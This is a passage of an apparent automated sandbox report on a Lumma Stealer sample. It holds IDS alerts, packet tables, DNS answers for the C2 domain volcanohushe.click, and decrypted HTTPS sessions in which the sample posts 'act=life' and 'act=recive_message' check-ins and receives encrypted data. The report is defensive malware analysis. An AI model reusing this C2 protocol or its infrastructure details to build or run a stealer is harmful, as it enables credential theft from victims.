2024-12-27T08:15:18.188581+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.9	49731	104.21.71.155	443	TCP
2024-12-27T08:15:19.857325+0100	2058535	ET MALWARE Observed Win32/Lumma Stealer Related Domain (volcanohushe .click in TLS SNI)	1	192.168.2.9	49742	104.21.71.155	443	TCP
2024-12-27T08:15:19.857325+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49742	104.21.71.155	443	TCP
2024-12-27T08:15:22.743964+0100	2058535	ET MALWARE Observed Win32/Lumma Stealer Related Domain (volcanohushe .click in TLS SNI)	1	192.168.2.9	49750	104.21.71.155	443	TCP
2024-12-27T08:15:22.743964+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49750	104.21.71.155	443	TCP
2024-12-27T08:15:22.750164+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.9	49750	104.21.71.155	443	TCP
2024-12-27T08:15:26.672861+0100	2058535	ET MALWARE Observed Win32/Lumma Stealer Related Domain (volcanohushe .click in TLS SNI)	1	192.168.2.9	49758	104.21.71.155	443	TCP
2024-12-27T08:15:26.672861+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.9	49758	104.21.71.155	443	TCP
2024-12-27T08:15:27.536196+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.9	49758	104.21.71.155	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 08:15:04.892524958 CET	49707	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:04.892576933 CET	443	49707	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:04.892676115 CET	49707	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:04.895401001 CET	49707	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:04.895436049 CET	443	49707	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:06.162899017 CET	443	49707	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:06.163000107 CET	49707	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:06.165913105 CET	49707	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:06.165929079 CET	443	49707	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:06.166245937 CET	443	49707	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:06.210073948 CET	49707	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:06.211788893 CET	49707	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:06.211810112 CET	49707	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:06.211947918 CET	443	49707	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:06.908413887 CET	443	49707	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:06.908526897 CET	443	49707	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:06.908629894 CET	49707	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:06.910610914 CET	49707	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:06.910625935 CET	443	49707	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:06.919159889 CET	49708	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:06.919204950 CET	443	49708	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:06.919270992 CET	49708	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:06.919518948 CET	49708	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:06.919528961 CET	443	49708	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:08.351775885 CET	443	49708	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:08.351844072 CET	49708	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:08.356193066 CET	49708	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:08.356211901 CET	443	49708	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:08.356566906 CET	443	49708	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:08.358824015 CET	49708	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:08.358949900 CET	49708	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:08.360304117 CET	443	49708	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:09.131970882 CET	443	49708	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:09.132024050 CET	443	49708	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:09.132080078 CET	49708	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:09.132095098 CET	443	49708	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:09.132117033 CET	443	49708	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:09.132144928 CET	49708	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:09.138689041 CET	443	49708	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:09.138776064 CET	49708	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:09.138802052 CET	443	49708	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:09.159404993 CET	443	49708	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:09.159517050 CET	49708	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:09.159538984 CET	443	49708	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:09.190167904 CET	443	49708	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:09.190263033 CET	49708	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:09.190285921 CET	443	49708	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:09.241365910 CET	49708	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:09.251445055 CET	443	49708	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:09.303818941 CET	49708	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:09.332864046 CET	443	49708	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:09.337515116 CET	443	49708	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:09.337551117 CET	443	49708	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:09.337631941 CET	49708	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:09.337646008 CET	443	49708	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:09.337698936 CET	49708	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:09.337932110 CET	49708	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:09.337950945 CET	443	49708	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:09.337975025 CET	49708	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:09.337980986 CET	443	49708	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:09.546960115 CET	49719	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:09.546991110 CET	443	49719	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:09.547060013 CET	49719	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:09.547425985 CET	49719	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:09.547446012 CET	443	49719	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:10.869559050 CET	443	49719	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:10.869659901 CET	49719	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:10.870923996 CET	49719	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:10.870938063 CET	443	49719	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:10.871181965 CET	443	49719	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:10.872395992 CET	49719	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:10.872560978 CET	49719	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:10.872589111 CET	443	49719	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:12.568327904 CET	443	49719	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:12.568428993 CET	443	49719	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:12.568515062 CET	49719	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:12.568711042 CET	49719	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:12.568732977 CET	443	49719	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:12.657908916 CET	49725	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:12.658008099 CET	443	49725	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:12.658119917 CET	49725	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:12.658474922 CET	49725	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:12.658510923 CET	443	49725	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:13.916021109 CET	443	49725	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:13.916099072 CET	49725	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:13.917274952 CET	49725	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:13.917293072 CET	443	49725	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:13.917567968 CET	443	49725	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:13.918742895 CET	49725	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:13.918879986 CET	49725	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:13.918910027 CET	443	49725	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:13.918984890 CET	49725	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:13.959383011 CET	443	49725	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:15.109813929 CET	443	49725	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:15.109913111 CET	443	49725	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:15.110071898 CET	49725	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:15.110188961 CET	49725	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:15.110232115 CET	443	49725	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:15.317234993 CET	49731	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:15.317296982 CET	443	49731	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:15.317368031 CET	49731	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:15.317856073 CET	49731	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:15.317867994 CET	443	49731	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:16.622030020 CET	443	49731	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:16.622137070 CET	49731	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:16.629961014 CET	49731	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:16.629997015 CET	443	49731	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:16.630201101 CET	443	49731	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:16.631650925 CET	49731	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:16.631778955 CET	49731	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:16.631819010 CET	443	49731	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:16.631902933 CET	49731	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:16.631912947 CET	443	49731	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:18.188595057 CET	443	49731	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:18.188690901 CET	443	49731	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:18.188747883 CET	49731	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:18.188880920 CET	49731	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:18.188910007 CET	443	49731	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:18.599653959 CET	49742	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:18.599689960 CET	443	49742	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:18.599757910 CET	49742	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:18.600128889 CET	49742	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:18.600147963 CET	443	49742	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:19.857243061 CET	443	49742	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:19.857325077 CET	49742	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:19.858635902 CET	49742	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:19.858659029 CET	443	49742	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:19.858944893 CET	443	49742	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:19.860222101 CET	49742	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:19.860352039 CET	49742	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:19.860357046 CET	443	49742	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:20.959430933 CET	443	49742	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:20.959547043 CET	443	49742	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:20.959695101 CET	49742	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:20.959875107 CET	49742	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:20.959903955 CET	443	49742	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:21.532475948 CET	49750	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:21.532524109 CET	443	49750	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:21.532597065 CET	49750	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:21.532932043 CET	49750	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:21.532943964 CET	443	49750	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:22.743887901 CET	443	49750	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:22.743963957 CET	49750	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:22.746526003 CET	49750	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:22.746540070 CET	443	49750	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:22.746757984 CET	443	49750	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:22.748864889 CET	49750	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:22.749504089 CET	49750	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:22.749535084 CET	443	49750	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:22.749634027 CET	49750	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:22.749669075 CET	443	49750	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:22.749763966 CET	49750	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:22.749780893 CET	443	49750	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:22.749902964 CET	49750	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:22.749932051 CET	443	49750	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:22.750061989 CET	49750	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:22.750094891 CET	443	49750	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:22.750611067 CET	49750	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:22.750638962 CET	443	49750	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:22.750647068 CET	49750	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:22.750827074 CET	49750	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:22.750859022 CET	49750	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:22.795330048 CET	443	49750	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:22.796405077 CET	49750	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:22.796459913 CET	49750	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:22.796479940 CET	49750	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:22.839329958 CET	443	49750	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:22.839803934 CET	49750	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:22.839858055 CET	49750	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:22.839888096 CET	49750	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:22.887334108 CET	443	49750	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:22.887470007 CET	49750	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:22.931330919 CET	443	49750	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:23.222964048 CET	443	49750	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:25.172002077 CET	443	49750	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:25.172086954 CET	443	49750	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:25.176258087 CET	49750	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:25.223342896 CET	49750	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:25.223364115 CET	443	49750	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:25.362607002 CET	49758	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:25.362638950 CET	443	49758	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:25.362724066 CET	49758	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:25.362966061 CET	49758	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:25.362988949 CET	443	49758	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:26.672748089 CET	443	49758	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:26.672861099 CET	49758	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:26.674269915 CET	49758	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:26.674287081 CET	443	49758	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:26.675586939 CET	443	49758	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:26.722944975 CET	49758	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:26.722944975 CET	49758	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:26.723059893 CET	443	49758	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:27.536155939 CET	443	49758	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:27.536218882 CET	443	49758	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:27.536254883 CET	443	49758	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:27.536282063 CET	443	49758	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:27.536313057 CET	443	49758	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:27.536341906 CET	443	49758	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:27.536345959 CET	49758	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:27.536366940 CET	443	49758	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:27.536396980 CET	49758	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:27.536406994 CET	49758	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:27.544545889 CET	443	49758	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:27.544672966 CET	49758	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:27.544677973 CET	443	49758	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:27.561438084 CET	443	49758	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:27.561552048 CET	49758	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:27.561559916 CET	443	49758	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:27.565411091 CET	443	49758	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:27.565498114 CET	443	49758	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:27.565515995 CET	49758	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:27.565563917 CET	49758	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:27.565687895 CET	49758	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:27.565704107 CET	443	49758	104.21.71.155	192.168.2.9
Dec 27, 2024 08:15:27.565726995 CET	49758	443	192.168.2.9	104.21.71.155
Dec 27, 2024 08:15:27.565732002 CET	443	49758	104.21.71.155	192.168.2.9

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 27, 2024 08:15:04.525485992 CET	55687	53	192.168.2.9	1.1.1.1
Dec 27, 2024 08:15:04.881269932 CET	53	55687	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 27, 2024 08:15:04.525485992 CET	192.168.2.9	1.1.1.1	0x3151	Standard query (0)	volcanohushe.click	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 27, 2024 08:15:04.881269932 CET	1.1.1.1	192.168.2.9	0x3151	No error (0)	volcanohushe.click		104.21.71.155	A (IP address)	IN (0x0001)	false
Dec 27, 2024 08:15:04.881269932 CET	1.1.1.1	192.168.2.9	0x3151	No error (0)	volcanohushe.click		172.67.145.201	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

volcanohushe.click

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49707	104.21.71.155	443	7580	C:\Users\user\Desktop\uUtgy7BbF1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:15:06 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: volcanohushe.click
2024-12-27 07:15:06 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-27 07:15:06 UTC	1125	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:15:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=anktp3kobmf0g6dei9a253c31n; expires=Tue, 22 Apr 2025 01:01:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=8GsC%2BNMGWKmYlNPnXWYRNZgaSlneVIWXqsQTWXXmRUNmzc4p943noqa21pc45lqHNvwg73bg4lcEdQKIhygeUHaloSBjjKb7xBTio%2F6HXqQQImqfAUWVjnUWEEEqSwmXqhYXaOY%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87847d2d8f4376-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1595&min_rtt=1589&rtt_var=609&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=909&delivery_rate=1777236&cwnd=248&unsent_bytes=0&cid=8dce21b1d1153085&ts=760&x=0"
2024-12-27 07:15:06 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-27 07:15:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49708	104.21.71.155	443	7580	C:\Users\user\Desktop\uUtgy7BbF1.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 07:15:08 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 50 Host: volcanohushe.click
2024-12-27 07:15:08 UTC	50	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 70 71 5a 6e 4b 50 2d 2d 63 33 52 6c 64 33 64 7a 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=pqZnKP--c3Rld3dz&j=
2024-12-27 07:15:09 UTC	1127	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 07:15:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ueq3pc7omh5u7473kouhvk93r2; expires=Tue, 22 Apr 2025 01:01:47 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=zgJd3Q5sibTfH4Fh0Qxc6VruGb%2F4e4Vc1eqJgAXKgJ%2FrpFR80errbyNv4JUkHsc3pHt46QA%2BaZvoHsPwlP162rVefV191GwzgKgi5BV8kwKxlf7EfUwKt9E348Rnc65nq5PuPKs%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87848afb09c459-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1644&min_rtt=1605&rtt_var=680&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=952&delivery_rate=1521625&cwnd=231&unsent_bytes=0&cid=f80d578461968c59&ts=786&x=0"
2024-12-27 07:15:09 UTC	242	IN	Data Raw: 34 39 31 63 0d 0a 53 77 78 2b 5a 4b 6c 78 73 63 4e 4b 62 79 74 61 6a 4b 69 31 74 55 2f 36 54 33 37 4e 66 6c 65 66 6a 72 55 6f 62 63 71 2b 79 66 41 77 4c 67 68 47 6b 30 57 64 34 54 6b 4b 43 57 44 34 32 73 44 51 59 39 67 75 47 75 39 45 4d 66 37 69 78 6b 31 42 36 4d 69 6b 30 6e 46 71 48 77 6a 61 46 4a 33 68 4c 78 63 4a 59 4e 66 54 6c 39 41 68 32 48 56 63 71 42 51 31 2f 75 4c 58 53 51 61 6c 7a 71 57 54 49 32 41 5a 44 4d 77 53 31 61 49 6d 41 6b 34 2f 36 63 6e 66 32 79 61 58 4a 78 50 76 55 6e 58 36 39 4a 63 53 54 34 66 62 76 5a 45 47 62 51 30 50 69 77 79 64 75 47 67 4b 52 58 69 32 69 74 54 51 4c 5a 59 70 47 71 59 57 50 2f 66 71 31 6b 77 48 75 74 65 76 6d 43 4e 75 47 67 33 47 47 38 47 76 4c 41 56 46 4f 65 50 4a 6c 35 6c 74 Data Ascii: 491cSwx+ZKlxscNKbytajKi1tU/6T37NflefjrUobcq+yfAwLghGk0Wd4TkKCWD42sDQY9guGu9EMf7ixk1B6Mik0nFqHwjaFJ3hLxcJYNfTl9Ah2HVcqBQ1/uLXSQalzqWTI2AZDMwS1aImAk4/6cnf2yaXJxPvUnX69JcST4fbvZEGbQ0PiwyduGgKRXi2itTQLZYpGqYWP/fq1kwHutevmCNuGg3GG8GvLAVFOePJl5lt
2024-12-27 07:15:09 UTC	1369	IN	Data Raw: 6e 7a 56 63 39 31 78 6d 7a 2b 2f 47 57 78 71 6c 7a 4b 33 53 4e 69 41 46 52 73 77 66 6b 2f 6c 6f 42 55 55 32 36 38 6e 59 30 43 79 59 50 78 4f 76 48 7a 33 31 36 4e 31 46 41 4b 66 53 6f 5a 55 68 5a 78 73 4a 7a 42 76 56 72 69 74 4e 42 33 6a 70 30 70 65 50 62 62 67 39 48 36 77 49 4f 4f 79 73 79 41 51 57 36 4e 75 6e 30 6e 45 75 47 67 6a 4b 48 74 4f 7a 49 41 5a 43 50 66 7a 42 33 74 6f 67 6d 43 41 57 6f 42 38 31 2b 75 62 64 52 51 57 73 30 61 61 55 4b 57 35 63 53 49 73 55 79 2b 46 77 54 57 6f 39 2f 73 33 62 77 57 2b 69 62 51 50 68 42 58 58 36 34 4a 63 53 54 36 44 5a 71 4a 45 69 59 52 38 4f 77 41 48 54 73 79 34 41 54 43 72 6f 7a 39 6e 64 4c 6f 6f 6e 45 71 6b 66 50 50 62 6c 30 6b 30 4c 36 4a 4c 72 6c 54 45 75 52 45 62 71 48 74 69 74 49 68 70 4a 65 50 47 45 7a 70 63 Data Ascii: nzVc91xmz+/GWxqlzK3SNiAFRswfk/loBUU268nY0CyYPxOvHz316N1FAKfSoZUhZxsJzBvVritNB3jp0pePbbg9H6wIOOysyAQW6Nun0nEuGgjKHtOzIAZCPfzB3togmCAWoB81+ubdRQWs0aaUKW5cSIsUy+FwTWo9/s3bwW+ibQPhBXX64JcST6DZqJEiYR8OwAHTsy4ATCroz9ndLoonEqkfPPbl0k0L6JLrlTEuREbqHtitIhpJePGEzpc
